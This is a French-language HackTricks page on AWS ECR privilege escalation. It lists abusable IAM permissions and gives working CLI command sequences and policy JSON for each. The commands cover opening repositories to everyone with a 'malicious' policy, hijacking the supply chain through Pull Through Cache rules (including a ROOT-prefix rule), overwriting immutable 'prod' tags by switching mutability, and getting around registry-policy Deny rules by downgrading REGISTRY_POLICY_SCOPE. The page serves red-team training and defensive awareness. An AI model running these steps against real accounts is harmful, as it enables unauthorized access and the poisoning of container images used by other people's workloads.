AWS - ECR Privesc
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Un attaquant disposant de ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.
Pour plus d'infos sur la façon de télécharger des images :
Impact potentiel : privesc indirecte en interceptant des informations sensibles dans le trafic.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Un attaquant disposant de toutes ces permissions peut se connecter à ECR et téléverser des images. Cela peut être utile pour escalate privileges vers d'autres environnements où ces images sont utilisées.
Pour apprendre comment téléverser une nouvelle image / mettre à jour une image, consultez :
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Comme la section précédente, mais pour les dépôts publics.
ecr:SetRepositoryPolicy
Un attaquant disposant de cette permission pourrait modifier la politique du dépôt pour s'accorder (ou même accorder à tout le monde) un accès lecture/écriture.
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenu de my-policy.json :
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Comme la section précédente, mais pour les dépôts publics.
Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour escalader ses privilèges.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impact potentiel : Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou delete images.
ecr:PutRegistryPolicy
Un attaquant disposant de cette permission pourrait modifier la registry policy pour s'octroyer, à lui-même, à son compte (ou même à tout le monde) read/write access.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
Abuser des règles ECR Pull Through Cache (PTC) pour mapper un namespace upstream attacker-controlled sur un préfixe privé ECR de confiance. Cela permet aux workloads qui pullent depuis le private ECR de recevoir de manière transparente des attacker images sans aucun push vers le private ECR.
- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez ECR Public comme upstream : ecr-public:* pour créer/pusher vers le repo public.
- Tested upstream: public.ecr.aws
Étapes (exemple):
- Préparer l'image attacker dans ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
Créer la règle PTC dans le private ECR pour mapper un préfixe de confiance vers le registre public aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
-
Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Impact potentiel : compromission de la chaîne d'approvisionnement en détournant les noms d'images internes sous le préfixe choisi. Tout workload pullant des images depuis le private ECR utilisant ce préfixe recevra du attacker-controlled content.
ecr:PutImageTagMutability
Abuser de cette permission pour basculer un repository dont les tags sont immutables vers mutable et écraser des tags de confiance (par ex. latest, stable, prod) avec attacker-controlled content.
- Permissions requises :
ecr:PutImageTagMutabilityplus les capacités de push (ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage). - Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immuables sans changer les noms des tags.
Étapes (exemple):
Empoisonner un tag immuable en basculant la mutabilité
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
Détournement global du registre via une règle ROOT Pull-Through Cache
Créez une règle Pull-Through Cache (PTC) en utilisant le paramètre spécial ecrRepositoryPrefix=ROOT pour mapper la racine du registre ECR privé vers un registre public upstream (par ex., ECR Public). Tout pull vers un repository inexistant dans le registre privé sera servi de façon transparente depuis l'upstream, permettant un supply-chain hijacking sans pousser d'images vers l'ECR privé.
- Permissions requises :
ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken. - Impact : Les pulls vers
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>réussissent et créent automatiquement des repos privés provenant de l'upstream.
Note : Pour les règles
ROOT, omettez--upstream-repository-prefix. Le fournir provoquera une erreur de validation.
Démo (us-east-1, upstream public.ecr.aws)
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws
# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
ecr:PutAccountSetting (Rétrograder REGISTRY_POLICY_SCOPE to bypass registry policy denies)
Exploiter ecr:PutAccountSetting pour changer la portée de la registry policy de V2 (policy applied to all ECR actions) à V1 (policy applied only to CreateRepository, ReplicateImage, BatchImportUpstreamImage). Si une registry policy restrictive Deny bloque des actions comme CreatePullThroughCacheRule, la rétrogradation vers V1 supprime cette application de sorte que les identity‑policy Allows prennent effet.
- Permissions requises :
ecr:PutAccountSetting,ecr:PutRegistryPolicy,ecr:GetRegistryPolicy,ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule. - Impact : Possibilité d'effectuer des actions ECR auparavant bloquées par une registry policy Deny (par ex., créer des règles PTC) en définissant temporairement la portée sur
V1.
Étapes (exemple) :
Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud